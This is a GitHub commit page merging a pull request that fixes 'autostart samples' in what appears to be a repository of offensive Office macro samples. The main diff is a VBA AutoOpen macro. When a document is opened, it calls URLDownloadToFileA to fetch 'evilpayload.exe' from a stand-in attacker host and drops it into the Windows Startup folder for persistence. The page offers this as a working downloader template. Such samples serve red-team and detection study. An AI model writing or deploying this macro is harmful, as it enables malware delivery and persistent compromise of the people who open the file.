-
-
Notifications
You must be signed in to change notification settings - Fork 221
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
Merge pull request #4 from serkonda7/patch1
fix readme link warnings and autostart samples
- Loading branch information
Showing
4 changed files
with
56 additions
and
50 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1 @@ | ||
*.code-workspace |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -1,8 +1,14 @@ | ||
#If VBA7 Then | ||
Private Declare PtrSafe Function URLDownloadToFileA Lib "urlmon" (ByVal pCaller As Long, _ | ||
ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, _ | ||
ByVal lpfnCB As Long) As Long | ||
Sub AutoOpen() | ||
#Else | ||
Private Declare Function URLDownloadToFileA Lib "urlmon" (ByVal pCaller As Long, _ | ||
ByVal szURL As String, ByVal szFileName As String, ByVal dwReserved As Long, _ | ||
ByVal lpfnCB As Long) As Long | ||
#End If | ||
|
||
Path = CreateObject("WScript.Shell").SpecialFolders("Startup") | ||
x = URLDownloadToFileA(0, "https://attackerhost/evilpayload.exe", Path & "\test.exe", 0, 0) | ||
Sub AutoOpen() | ||
spath = CreateObject("WScript.Shell").SpecialFolders("Startup") | ||
x = URLDownloadToFileA(0, "https://attackerhost/evilpayload.exe", spath & "\test.exe", 0, 0) | ||
End Sub |